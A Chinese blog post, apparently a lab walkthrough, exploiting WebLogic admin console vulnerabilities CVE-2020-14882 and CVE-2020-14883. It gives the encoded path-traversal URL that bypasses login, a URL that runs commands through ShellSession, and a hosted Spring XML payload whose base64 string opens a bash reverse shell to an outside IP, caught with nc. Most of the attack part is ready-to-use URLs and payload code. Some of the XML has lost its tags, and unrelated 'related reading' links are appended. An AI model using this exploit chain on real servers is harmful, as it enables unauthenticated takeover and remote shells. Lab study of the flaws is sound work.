• Weblogic管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)


    启动环境

    docker-compose up -d

     http://your-ip:7001/console访问登录页面

     此时我们不知道密码

    CVE-2020-14882

    首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

    http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

     burp抓包修改

     访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码

    CVE-2020-14883

    此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

    直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

    http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

    这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

    com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效

    首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml

    1. "1.0" encoding="UTF-8" ?>
    2. "http://www.springframework.org/schema/beans"
    3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    5. id="pb" class="java.lang.ProcessBuilder" init-method="start">
    6. bash
    7. -c
    8. echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjEgMD4x}|{base64,-d}|{bash,-i}]]>

    反弹shell

     搭建web服务将上面的恶意xml代码放到我们的公网服务器上

     

    公网服务器处用nc监听本地shell端口

     然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

    http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

     直接通过浏览器访问此url

    此时目标服务器就会去访问公网地址的恶意xml并且执行

    监听机获取到反弹的回话

  • 相关阅读:
    基于Vue开发的门户网站展示和后台数据管理系统
    Http协议之Content-Type理解
    正则表达式 || 遇到字符串里面有() 就在括号后面换行
    2023/10/25
    【Gradle】四、使用Gradle创建SringBoot微服务项目
    Least-upper-bound property
    Java中的Unsafe在安全领域的一些应用总结和复现
    DSPE-PEG-APRPG,磷脂-聚乙二醇-靶向肽APRPG,一种多肽介导PEG磷脂
    kubernetes之helm简介、安装、配置
    业务流程又散又乱?MayApps平台BPM帮你“一网打通”
  • 原文地址:https://blog.csdn.net/xhscxj/article/details/127442515